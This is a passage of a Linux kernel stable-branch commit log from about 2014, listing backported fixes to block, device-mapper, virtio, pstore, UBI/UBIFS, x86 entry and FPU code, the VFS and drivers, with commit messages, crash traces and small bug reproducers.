Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Reviewed-by: Jonathan Brassow Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 077266d71524afd81e4dcad003bc61da2d853bd0 Author: Mike Snitzer Date: Wed Oct 8 18:26:13 2014 -0400 block: fix alignment_offset math that assumes io_min is a power-of-2 commit b8839b8c55f3fdd60dc36abcda7e0266aff7985c upstream. The math in both blk_stack_limits() and queue_limit_alignment_offset() assume that a block device's io_min (aka minimum_io_size) is always a power-of-2. Fix the math such that it works for non-power-of-2 io_min. This issue (of alignment_offset != 0) became apparent when testing dm-thinp with a thinp blocksize that matches a RAID6 stripesize of 1280K. Commit fdfb4c8c1 ("dm thin: set minimum_io_size to pool's data block size") unlocked the potential for alignment_offset != 0 due to the dm-thin-pool's io_min possibly being a non-power-of-2. Signed-off-by: Mike Snitzer Acked-by: Martin K. Petersen Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49f7b2b628ab50b807a6db993feb8344189ded64 Author: Lai Jiangshan Date: Thu Sep 18 16:49:41 2014 +0200 drbd: compute the end before rb_insert_augmented() commit 82cfb90bc99d7b7e0ec62d0505b9d4f06805d5db upstream. Commit 98683650 "Merge branch 'drbd-8.4_ed6' into for-3.8-drivers-drbd-8.4_ed6" switches to the new augment API, but the new API requires that the tree is augmented before rb_insert_augmented() is called, which is missing. So we add the augment-code to drbd_insert_interval() when it travels the tree up to down before rb_insert_augmented(). See the example in include/linux/interval_tree_generic.h or Documentation/rbtree.txt. drbd_insert_interval() may cancel the insertion when traveling, in this case, the just added augment-code does nothing before cancel since the @this node is already in the subtrees in this case. CC: Michel Lespinasse Signed-off-by: Lai Jiangshan Signed-off-by: Andreas Gruenbacher Signed-off-by: Philipp Reisner Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff26da4fd2c8e4e78a08cc657fccfb65c525f27f Author: Joe Thornber Date: Tue Sep 30 09:32:46 2014 +0100 dm bufio: update last_accessed when relinking a buffer commit eb76faf53b1ff7a77ce3f78cc98ad392ac70c2a0 upstream. The 'last_accessed' member of the dm_buffer structure was only set when the the buffer was created. This led to each buffer being discarded after dm_bufio_max_age time even if it was used recently. In practice this resulted in all thinp metadata being evicted soon after being read -- this is particularly problematic for metadata intensive workloads like multithreaded small random IO. 'last_accessed' is now updated each time the buffer is moved to the head of the LRU list, so the buffer is now properly discarded if it was not used in dm_bufio_max_age time. Signed-off-by: Joe Thornber Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bf0f7a6c4c92823bd3e845dd2704ad0f1649271 Author: Michael S. Tsirkin Date: Tue Oct 14 10:40:29 2014 +1030 virtio_pci: fix virtio spec compliance on restore commit 6fbc198cf623944ab60a1db6d306a4d55cdd820d upstream. On restore, virtio pci does the following: + set features + init vqs etc - device can be used at this point! + set ACKNOWLEDGE,DRIVER and DRIVER_OK status bits This is in violation of the virtio spec, which requires the following order: - ACKNOWLEDGE - DRIVER - init vqs - DRIVER_OK This behaviour will break with hypervisors that assume spec compliant behaviour. It seems like a good idea to have this patch applied to stable branches to reduce the support butden for the hypervisors. Cc: Amit Shah Signed-off-by: Michael S. Tsirkin Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 421054c5c853cafc92b58fcc52b4490909a07c92 Author: Valdis Kletnieks Date: Sun Oct 12 23:09:08 2014 -0400 pstore: Fix duplicate {console,ftrace}-efi entries commit d4bf205da618bbd0b038e404d646f14e76915718 upstream. The pstore filesystem still creates duplicate filename/inode pairs for some pstore types. Add the id to the filename to prevent that. Before patch: [/sys/fs/pstore] ls -li total 0 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi 1250 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi After: [/sys/fs/pstore] ls -li total 0 1232 -r--r--r--. 1 root root 148 Sep 29 17:09 console-efi-141202499100000 1231 -r--r--r--. 1 root root 67 Sep 29 17:09 console-efi-141202499200000 1230 -r--r--r--. 1 root root 148 Sep 29 17:44 console-efi-141202705400000 1229 -r--r--r--. 1 root root 67 Sep 29 17:44 console-efi-141202705500000 1228 -r--r--r--. 1 root root 67 Sep 29 20:42 console-efi-141203772600000 1227 -r--r--r--. 1 root root 148 Sep 29 23:42 console-efi-141204854900000 1226 -r--r--r--. 1 root root 67 Sep 29 23:42 console-efi-141204855000000 1225 -r--r--r--. 1 root root 148 Sep 29 23:59 console-efi-141204954200000 1224 -r--r--r--. 1 root root 67 Sep 29 23:59 console-efi-141204954400000 Signed-off-by: Valdis Kletnieks Acked-by: Kees Cook Signed-off-by: Tony Luck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dccc93ed27322f110f9669f7998a0627172823d Author: Chris Ball Date: Thu Sep 4 17:11:53 2014 +0100 mfd: rtsx_pcr: Fix MSI enable error handling commit 5152970538a5e16c03bbcb9f1c780489a795ed40 upstream. pci_enable_msi() can return failure with both positive and negative integers -- it returns 0 for success -- but is only tested here for "if (ret < 0)". This causes us to try to use MSI on the RTS5249 SD reader in the Dell XPS 11 when enabling MSI failed, causing: [ 1.737110] rtsx_pci: probe of 0000:05:00.0 failed with error -110 Reported-by: D. Jared Dominguez Tested-by: D. Jared Dominguez Signed-off-by: Chris Ball Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e41ec2086732836a3344d90859a3115dd19ae9c6 Author: Richard Genoud Date: Tue Sep 9 14:25:01 2014 +0200 UBI: add missing kmem_cache_free() in process_pool_aeb error path commit 1bf1890e86869032099b539bc83b098be12fc5a7 upstream. I ran into this error after a ubiupdatevol, because I forgot to backport e9110361a9a4 UBI: fix the volumes tree sorting criteria. UBI error: process_pool_aeb: orphaned volume in fastmap pool UBI error: ubi_scan_fastmap: Attach by fastmap failed, doing a full scan! kmem_cache_destroy ubi_ainf_peb_slab: Slab cache still has objects CPU: 0 PID: 1 Comm: swapper Not tainted 3.14.18-00053-gf05cac8dbf85 #1 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (destroy_ai+0x230/0x244) [] (destroy_ai) from [] (ubi_attach+0x98/0x1ec) [] (ubi_attach) from [] (ubi_attach_mtd_dev+0x2b8/0x868) [] (ubi_attach_mtd_dev) from [] (ubi_init+0x1dc/0x2ac) [] (ubi_init) from [] (do_one_initcall+0x94/0x140) [] (do_one_initcall) from [] (kernel_init_freeable+0xe8/0x1b0) [] (kernel_init_freeable) from [] (kernel_init+0x8/0xe4) [] (kernel_init) from [] (ret_from_fork+0x14/0x24) UBI: scanning is finished Freeing the cache in the error path fixes the Slab error. Tested on at91sam9g35 (3.14.18+fastmap backports) Signed-off-by: Richard Genoud Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3c9d67972b56203621e6a8ecdc5d9cd9e9bb272 Author: Daniel Borkmann Date: Tue Aug 26 23:16:35 2014 -0400 random: add and use memzero_explicit() for clearing data commit d4c5efdb97773f59a2b711754ca0953f24516739 upstream. zatimend has reported that in his environment (3.16/gcc4.8.3/corei7) memset() calls which clear out sensitive data in extract_{buf,entropy, entropy_user}() in random driver are being optimized away by gcc. Add a helper memzero_explicit() (similarly as explicit_bzero() variants) that can be used in such cases where a variable with sensitive data is being cleared out in the end. Other use cases might also be in crypto code. [ I have put this into lib/string.c though, as it's always built-in and doesn't need any dependencies then. ] Fixes kernel bugzilla: 82041 Reported-by: zatimend@hotmail.co.uk Signed-off-by: Daniel Borkmann Acked-by: Hannes Frederic Sowa Cc: Alexey Dobriyan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 962a8a49a19cbc0f7ded223b3111ac12cccd669b Author: Cesar Eduardo Barros Date: Mon Nov 25 22:00:41 2013 -0200 crypto: more robust crypto_memneq commit fe8c8a126806fea4465c43d62a1f9d273a572bf5 upstream. [Only use the compiler.h portion of this patch, to get the OPTIMIZER_HIDE_VAR() macro, which we need for other -stable patches - gregkh] Disabling compiler optimizations can be fragile, since a new optimization could be added to -O0 or -Os that breaks the assumptions the code is making. Instead of disabling compiler optimizations, use a dummy inline assembly (based on RELOC_HIDE) to block the problematic kinds of optimization, while still allowing other optimizations to be applied to the code. The dummy inline assembly is added after every OR, and has the accumulator variable as its input and output. The compiler is forced to assume that the dummy inline assembly could both depend on the accumulator variable and change the accumulator variable, so it is forced to compute the value correctly before the inline assembly, and cannot assume anything about its value after the inline assembly. This change should be enough to make crypto_memneq work correctly (with data-independent timing) even if it is inlined at its call sites. That can be done later in a followup patch. Compile-tested on x86_64. Signed-off-by: Cesar Eduardo Barros Acked-by: Daniel Borkmann Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b961590a71767e4bc69d10e9593e7a149727e5ea Author: Al Viro Date: Wed Oct 8 23:44:00 2014 -0400 fix misuses of f_count() in ppp and netlink commit 24dff96a37a2ca319e75a74d3929b2de22447ca6 upstream. we used to check for "nobody else could start doing anything with that opened file" by checking that refcount was 2 or less - one for descriptor table and one we'd acquired in fget() on the way to wherever we are. That was race-prone (somebody else might have had a reference to descriptor table and do fget() just as we'd been checking) and it had become flat-out incorrect back when we switched to fget_light() on those codepaths - unlike fget(), it doesn't grab an extra reference unless the descriptor table is shared. The same change allowed a race-free check, though - we are safe exactly when refcount is less than 2. It was a long time ago; pre-2.6.12 for ioctl() (the codepath leading to ppp one) and 2.6.17 for sendmsg() (netlink one). OTOH, netlink hadn't grown that check until 3.9 and ppp used to live in drivers/net, not drivers/net/ppp until 3.1. The bug existed well before that, though, and the same fix used to apply in old location of file. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fc1457bb955eb549eb59830d466505b438e5f5c Author: Al Viro Date: Fri Aug 1 20:13:40 2014 +0100 kill wbuf_queued/wbuf_dwork_lock commit 99358a1ca53e8e6ce09423500191396f0e6584d2 upstream. schedule_delayed_work() happening when the work is already pending is a cheap no-op. Don't bother with ->wbuf_queued logics - it's both broken (cancelling ->wbuf_dwork leaves it set, as spotted by Jeff Harris) and pointless. It's cheaper to let schedule_delayed_work() handle that case. Reported-by: Jeff Harris Tested-by: Jeff Harris Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00b56229c3cad996f6bef93108675f08f3660a40 Author: Takashi Iwai Date: Tue Oct 28 12:42:19 2014 +0100 ALSA: pcm: Zero-clear reserved fields of PCM status ioctl in compat mode commit 317168d0c766defd14b3d0e9c2c4a9a258b803ee upstream. In compat mode, we copy each field of snd_pcm_status struct but don't touch the reserved fields, and this leaves uninitialized values there. Meanwhile the native ioctl does zero-clear the whole structure, so we should follow the same rule in compat mode, too. Reported-by: Pierre-Louis Bossart Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3333fe367c6db6038318155b169125a31a0dad88 Author: Dmitry Kasatkin Date: Tue Oct 28 14:28:49 2014 +0200 evm: check xattr value length and type in evm_inode_setxattr() commit 3b1deef6b1289a99505858a3b212c5b50adf0c2f upstream. evm_inode_setxattr() can be called with no value. The function does not check the length so that following command can be used to produce the kernel oops: setfattr -n security.evm FOO. This patch fixes it. Changes in v3: * there is no reason to return different error codes for EVM_XATTR_HMAC and non EVM_XATTR_HMAC. Remove unnecessary test then. Changes in v2: * testing for validity of xattr type [ 1106.396921] BUG: unable to handle kernel NULL pointer dereference at (null) [ 1106.398192] IP: [] evm_inode_setxattr+0x2a/0x48 [ 1106.399244] PGD 29048067 PUD 290d7067 PMD 0 [ 1106.399953] Oops: 0000 [#1] SMP [ 1106.400020] Modules linked in: bridge stp llc evdev serio_raw i2c_piix4 button fuse [ 1106.400020] CPU: 0 PID: 3635 Comm: setxattr Not tainted 3.16.0-kds+ #2936 [ 1106.400020] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 1106.400020] task: ffff8800291a0000 ti: ffff88002917c000 task.ti: ffff88002917c000 [ 1106.400020] RIP: 0010:[] [] evm_inode_setxattr+0x2a/0x48 [ 1106.400020] RSP: 0018:ffff88002917fd50 EFLAGS: 00010246 [ 1106.400020] RAX: 0000000000000000 RBX: ffff88002917fdf8 RCX: 0000000000000000 [ 1106.400020] RDX: 0000000000000000 RSI: ffffffff818136d3 RDI: ffff88002917fdf8 [ 1106.400020] RBP: ffff88002917fd68 R08: 0000000000000000 R09: 00000000003ec1df [ 1106.400020] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8800438a0a00 [ 1106.400020] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 1106.400020] FS: 00007f7dfa7d7740(0000) GS:ffff88005da00000(0000) knlGS:0000000000000000 [ 1106.400020] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1106.400020] CR2: 0000000000000000 CR3: 000000003763e000 CR4: 00000000000006f0 [ 1106.400020] Stack: [ 1106.400020] ffff8800438a0a00 ffff88002917fdf8 0000000000000000 ffff88002917fd98 [ 1106.400020] ffffffff812a1030 ffff8800438a0a00 ffff88002917fdf8 0000000000000000 [ 1106.400020] 0000000000000000 ffff88002917fde0 ffffffff8116d08a ffff88002917fdc8 [ 1106.400020] Call Trace: [ 1106.400020] [] security_inode_setxattr+0x5d/0x6a [ 1106.400020] [] vfs_setxattr+0x6b/0x9f [ 1106.400020] [] setxattr+0x122/0x16c [ 1106.400020] [] ? mnt_want_write+0x21/0x45 [ 1106.400020] [] ? __sb_start_write+0x10f/0x143 [ 1106.400020] [] ? mnt_want_write+0x21/0x45 [ 1106.400020] [] ? __mnt_want_write+0x48/0x4f [ 1106.400020] [] SyS_setxattr+0x6e/0xb0 [ 1106.400020] [] system_call_fastpath+0x16/0x1b [ 1106.400020] Code: c3 0f 1f 44 00 00 55 48 89 e5 41 55 49 89 d5 41 54 49 89 fc 53 48 89 f3 48 c7 c6 d3 36 81 81 48 89 df e8 18 22 04 00 85 c0 75 07 <41> 80 7d 00 02 74 0d 48 89 de 4c 89 e7 e8 5a fe ff ff eb 03 83 [ 1106.400020] RIP [] evm_inode_setxattr+0x2a/0x48 [ 1106.400020] RSP [ 1106.400020] CR2: 0000000000000000 [ 1106.428061] ---[ end trace ae08331628ba3050 ]--- Reported-by: Jan Kara Signed-off-by: Dmitry Kasatkin Signed-off-by: Mimi Zohar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b2ad17e1f59f96e162dc9f1e6aa6108e48d6dd7 Author: Dexuan Cui Date: Wed Oct 29 03:53:37 2014 -0700 x86, pageattr: Prevent overflow in slow_virt_to_phys() for X86_PAE commit d1cd1210834649ce1ca6bafe5ac25d2f40331343 upstream. pte_pfn() returns a PFN of long (32 bits in 32-PAE), so "long << PAGE_SHIFT" will overflow for PFNs above 4GB. Due to this issue, some Linux 32-PAE distros, running as guests on Hyper-V, with 5GB memory assigned, can't load the netvsc driver successfully and hence the synthetic network device can't work (we can use the kernel parameter mem=3000M to work around the issue). Cast pte_pfn() to phys_addr_t before shifting. Fixes: "commit d76565344512: x86, mm: Create slow_virt_to_phys()" Signed-off-by: Dexuan Cui Cc: K. Y. Srinivasan Cc: Haiyang Zhang Cc: gregkh@linuxfoundation.org Cc: linux-mm@kvack.org Cc: olaf@aepfle.de Cc: apw@canonical.com Cc: jasowang@redhat.com Cc: dave.hansen@intel.com Cc: riel@redhat.com Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1414580017-27444-1-git-send-email-decui@microsoft.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a26a6e711dd478654be7c5dbf61456b83bc7544 Author: Andy Lutomirski Date: Fri Oct 31 18:08:45 2014 -0700 x86_64, entry: Fix out of bounds read on sysenter commit 653bc77af60911ead1f423e588f54fc2547c4957 upstream. Rusty noticed a Really Bad Bug (tm) in my NT fix. The entry code reads out of bounds, causing the NT fix to be unreliable. But, and this is much, much worse, if your stack is somehow just below the top of the direct map (or a hole), you read out of bounds and crash. Excerpt from the crash: [ 1.129513] RSP: 0018:ffff88001da4bf88 EFLAGS: 00010296 2b:* f7 84 24 90 00 00 00 testl $0x4000,0x90(%rsp) That read is deterministically above the top of the stack. I thought I even single-stepped through this code when I wrote it to check the offset, but I clearly screwed it up. Fixes: 8c7aa698baca ("x86_64, entry: Filter RFLAGS.NT on entry from userspace") Reported-by: Rusty Russell Signed-off-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07bed5e0771f460dc897318ded75458230d8c3d9 Author: Andy Lutomirski Date: Wed Oct 1 11:49:04 2014 -0700 x86_64, entry: Filter RFLAGS.NT on entry from userspace commit 8c7aa698baca5e8f1ba9edb68081f1e7a1abf455 upstream. The NT flag doesn't do anything in long mode other than causing IRET to #GP. Oddly, CPL3 code can still set NT using popf. Entry via hardware or software interrupt clears NT automatically, so the only relevant entries are fast syscalls. If user code causes kernel code to run with NT set, then there's at least some (small) chance that it could cause trouble. For example, user code could cause a call to EFI code with NT set, and who knows what would happen? Apparently some games on Wine sometimes do this (!), and, if an IRET return happens, they will segfault. That segfault cannot be handled, because signal delivery fails, too. This patch programs the CPU to clear NT on entry via SYSCALL (both 32-bit and 64-bit, by my reading of the AMD APM), and it clears NT in software on entry via SYSENTER. To save a few cycles, this borrows a trick from Jan Beulich in Xen: it checks whether NT is set before trying to clear it. As a result, it seems to have very little effect on SYSENTER performance on my machine. There's another minor bug fix in here: it looks like the CFI annotations were wrong if CONFIG_AUDITSYSCALL=n. Testers beware: on Xen, SYSENTER with NT set turns into a GPF. I haven't touched anything on 32-bit kernels. The syscall mask change comes from a variant of this patch by Anish Bhatt. Note to stable maintainers: there is no known security issue here. A misguided program can set NT and cause the kernel to try and fail to deliver SIGSEGV, crashing the program. This patch fixes Far Cry on Wine: https://bugs.winehq.org/show_bug.cgi?id=33275 Reported-by: Anish Bhatt Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/395749a5d39a29bd3e4b35899cf3a3c1340e5595.1412189265.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b36d09fc885849157edbf65c790d642f79f760ce Author: H. Peter Anvin Date: Sat Apr 27 16:10:11 2013 -0700 x86, flags: Rename X86_EFLAGS_BIT1 to X86_EFLAGS_FIXED commit 1adfa76a95fe4444124a502f7cc858a39d5b8e01 upstream. Bit 1 in the x86 EFLAGS is always set. Name the macro something that actually tries to explain what it is all about, rather than being a tautology. Signed-off-by: H. Peter Anvin Cc: Rusty Russell Cc: Gleb Natapov Cc: Paolo Bonzini Link: http://lkml.kernel.org/n/tip-f10rx5vjjm6tfnt8o1wseb3v@git.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fda86dcf5696b14d0c184a7273bb26f42633dd47 Author: Oleg Nesterov Date: Tue Sep 2 19:57:13 2014 +0200 x86, fpu: shift drop_init_fpu() from save_xstate_sig() to handle_signal() commit 66463db4fc5605d51c7bb81d009d5bf30a783a2c upstream. save_xstate_sig()->drop_init_fpu() doesn't look right. setup_rt_frame() can fail after that, in this case the next setup_rt_frame() triggered by SIGSEGV won't save fpu simply because the old state was lost. This obviously mean that fpu won't be restored after sys_rt_sigreturn() from SIGSEGV handler. Shift drop_init_fpu() into !failed branch in handle_signal(). Test-case (needs -O2): #include #include #include #include #include #include #include volatile double D; void test(double d) { int pid = getpid(); for (D = d; D == d; ) { /* sys_tkill(pid, SIGHUP); asm to avoid save/reload * fp regs around "C" call */ asm ("" : : "a"(200), "D"(pid), "S"(1)); asm ("syscall" : : : "ax"); } printf("ERR!!\n"); } void sigh(int sig) { } char altstack[4096 * 10] __attribute__((aligned(4096))); void *tfunc(void *arg) { for (;;) { mprotect(altstack, sizeof(altstack), PROT_READ); mprotect(altstack, sizeof(altstack), PROT_READ|PROT_WRITE); } } int main(void) { stack_t st = { .ss_sp = altstack, .ss_size = sizeof(altstack), .ss_flags = SS_ONSTACK, }; struct sigaction sa = { .sa_handler = sigh, }; pthread_t pt; sigaction(SIGSEGV, &sa, NULL); sigaltstack(&st, NULL); sa.sa_flags = SA_ONSTACK; sigaction(SIGHUP, &sa, NULL); pthread_create(&pt, NULL, tfunc, NULL); test(123.456); return 0; } Reported-by: Bean Anderson Signed-off-by: Oleg Nesterov Link: http://lkml.kernel.org/r/20140902175713.GA21646@redhat.com Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0812a7de4366457e9e9b2d128a5236165ddba4c Author: Oleg Nesterov Date: Tue Sep 2 19:57:17 2014 +0200 x86, fpu: __restore_xstate_sig()->math_state_restore() needs preempt_disable() commit df24fb859a4e200d9324e2974229fbb7adf00aef upstream. Add preempt_disable() + preempt_enable() around math_state_restore() in __restore_xstate_sig(). Otherwise __switch_to() after __thread_fpu_begin() can overwrite fpu->state we are going to restore. Signed-off-by: Oleg Nesterov Link: http://lkml.kernel.org/r/20140902175717.GA21649@redhat.com Reviewed-by: Suresh Siddha Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edd589df61df38ff32b2d597e94821fc216c3c35 Author: Ben Hutchings Date: Sun Sep 7 21:05:05 2014 +0100 x86: Reject x32 executables if x32 ABI not supported commit 0e6d3112a4e95d55cf6dca88f298d5f4b8f29bd1 upstream. It is currently possible to execve() an x32 executable on an x86_64 kernel that has only ia32 compat enabled. However all its syscalls will fail, even _exit(). This usually causes it to segfault. Change the ELF compat architecture check so that x32 executables are rejected if we don't support the x32 ABI. Signed-off-by: Ben Hutchings Link: http://lkml.kernel.org/r/1410120305.6822.9.camel@decadent.org.uk Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61b4d5238f82eca43feb87120f859bf0ea6cd00c Author: Jan Kara Date: Wed Oct 1 21:49:18 2014 -0400 vfs: fix data corruption when blocksize < pagesize for mmaped data commit 90a8020278c1598fafd071736a0846b38510309c upstream. ->page_mkwrite() is used by filesystems to allocate blocks under a page which is becoming writeably mmapped in some process' address space. This allows a filesystem to return a page fault if there is not enough space available, user exceeds quota or similar problem happens, rather than silently discarding data later when writepage is called. However VFS fails to call ->page_mkwrite() in all the cases where filesystems need it when blocksize < pagesize. For example when blocksize = 1024, pagesize = 4096 the following is problematic: ftruncate(fd, 0); pwrite(fd, buf, 1024, 0); map = mmap(NULL, 1024, PROT_WRITE, MAP_SHARED, fd, 0); map[0] = 'a'; ----> page_mkwrite() for index 0 is called ftruncate(fd, 10000); /* or even pwrite(fd, buf, 1, 10000) */ mremap(map, 1024, 10000, 0); map[4095] = 'a'; ----> no page_mkwrite() called At the moment ->page_mkwrite() is called, filesystem can allocate only one block for the page because i_size == 1024. Otherwise it would create blocks beyond i_size which is generally undesirable. But later at ->writepage() time, we also need to store data at offset 4095 but we don't have block allocated for it. This patch introduces a helper function filesystems can use to have ->page_mkwrite() called at all the necessary moments. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c1e955523c1509a1e586516e18e6882b9ad3ea6 Author: Artem Bityutskiy Date: Wed Jul 16 15:22:29 2014 +0300 UBIFS: fix free log space calculation commit ba29e721eb2df6df8f33c1f248388bb037a47914 upstream. Hu (hujianyang ) discovered an issue in the 'empty_log_bytes()' function, which calculates how many bytes are left in the log: " If 'c->lhead_lnum + 1 == c->ltail_lnum' and 'c->lhead_offs == c->leb_size', 'h' would equalent to 't' and 'empty_log_bytes()' would return 'c->log_bytes' instead of 0. " At this point it is not clear what would be the consequences of this, and whether this may lead to any problems, but this patch addresses the issue just in case. Tested-by: hujianyang Reported-by: hujianyang Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fdde6fbdcc31f1d979697259f90001b93f6bcc63 Author: Artem Bityutskiy Date: Sun Jun 29 17:00:45 2014 +0300 UBIFS: fix a race condition commit 052c28073ff26f771d44ef33952a41d18dadd255 upstream. Hu (hujianyang@huawei.com) discovered a race condition which may lead to a situation when UBIFS is unable to mount the file-system after an unclean reboot. The problem is theoretical, though. In UBIFS, we have the log, which basically a set of LEBs in a certain area. The log has the tail and the head. Every time user writes data to the file-system, the UBIFS journal grows, and the log grows as well, because we append new reference nodes to the head of the log. So the head moves forward all the time, while the log tail stays at the same position. At any time, the UBIFS master node points to the tail of the log. When we mount the file-system, we scan the log, and we always start from its tail, because this is where the master node points to. The only occasion when the tail of the log changes is the commit operation. The commit operation has 2 phases - "commit start" and "commit end". The former is relatively short, and does not involve much I/O. During this phase we mostly just build various in-memory lists of the things which have to be written to the flash media during "commit end" phase. During the commit start phase, what we do is we "clean" the log. Indeed, the commit operation will index all the data in the journal, so the entire journal "disappears", and therefore the data in the log become unneeded. So we just move the head of the log to the next LEB, and write the CS node there. This LEB will be the tail of the new log when the commit operation finishes. When the "commit start" phase finishes, users may write more data to the file-system, in parallel with the ongoing "commit end" operation. At this point the log tail was not changed yet, it is the same as it had been before we started the commit. The log head keeps moving forward, though. The commit operation now needs to write the new master node, and the new master node should point to the new log tail. After this the LEBs between the old log tail and the new log tail can be unmapped and re-used again. And here is the possible problem. We do 2 operations: (a) We first update the log tail position in memory (see 'ubifs_log_end_commit()'). (b) And then we write the master node (see the big lock of code in 'do_commit()'). But nothing prevents the log head from moving forward between (a) and (b), and the log head may "wrap" now to the old log tail. And when the "wrap" happens, the contends of the log tail gets erased. Now a power cut happens and we are in trouble. We end up with the old master node pointing to the old tail, which was erased. And replay fails because it expects the master node to point to the correct log tail at all times. This patch merges the abovementioned (a) and (b) operations by moving the master node change code to the 'ubifs_log_end_commit()' function, so that it runs with the log mutex locked, which will prevent the log from being changed benween operations (a) and (b). Reported-by: hujianyang Tested-by: hujianyang Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89c1d572f87cf786ed534098ca34c5365664929a Author: Artem Bityutskiy Date: Sun Jun 29 16:55:02 2014 +0300 UBIFS: remove mst_mutex commit 07e19dff63e3d5d6500d831e36554ac9b1b0560e upstream. The 'mst_mutex' is not needed since because 'ubifs_write_master()' is only called on the mount path and commit path. The mount path is sequential and there is no parallelism, and the commit path is also serialized - there is only one commit going on at a time. Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3075d8275ad4faef53966a532cc69591a01f9ec Author: Tetsuo Handa Date: Sat May 17 20:56:38 2014 +0900 fs: Fix theoretical division by 0 in super_cache_scan(). commit 475d0db742e3755c6b267f48577ff7cbb7dfda0d upstream. total_objects could be 0 and is used as a denom. While total_objects is a "long", total_objects == 0 unlikely happens for 3.12 and later kernels because 32-bit architectures would not be able to hold (1 << 32) objects. However, total_objects == 0 may happen for kernels between 3.1 and 3.11 because total_objects in prune_super() was an "int" and (e.g.) x86_64 architecture might be able to hold (1 << 32) objects. Signed-off-by: Tetsuo Handa Reviewed-by: Christoph Hellwig Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 269cc32a2ecfa59f6574c22cfb4f7135a4ca4c60 Author: Mikulas Patocka Date: Sun Jul 27 13:00:41 2014 -0400 fs: make cont_expand_zero interruptible commit c2ca0fcd202863b14bd041a7fece2e789926c225 upstream. This patch makes it possible to kill a process looping in cont_expand_zero. A process may spend a lot of time in this function, so it is desirable to be able to kill it. It happened to me that I wanted to copy a piece data from the disk to a file. By mistake, I used the "seek" parameter to dd instead of "skip". Due to the "seek" parameter, dd attempted to extend the file and became stuck doing so - the only possibility was to reset the machine or wait many hours until the filesystem runs out of space and cont_expand_zero fails. We need this patch to be able to terminate the process. Signed-off-by: Mikulas Patocka Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db98850b75a52f1e6bd6802619ab166c22b17a3c Author: Roger Tseng Date: Fri Aug 15 14:06:00 2014 +0800 mmc: rtsx_pci_sdmmc: fix incorrect last byte in R2 response commit d1419d50c1bf711e9fd27b516a739c86b23f7cf9 upstream. Current code erroneously fill the last byte of R2 response with an undefined value. In addition, the controller actually 'offloads' the last byte (CRC7, end bit) while receiving R2 response and thus it's impossible to get the actual value. This could cause mmc stack to obtain inconsistent CID from the same card after resume and misidentify it as a different card. Fix by assigning dummy CRC and end bit: {7'b0, 1} = 0x1 to the last byte of R2. Fixes: ff984e57d36e ("mmc: Add realtek pcie sdmmc host driver") Signed-off-by: Roger Tseng Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32a749d89921ef14cb04bfb1009959e2d6efc987 Author: Ondrej Zary Date: Sat Sep 27 00:04:46 2014 +0200 libata-sff: Fix controllers with no ctl port commit 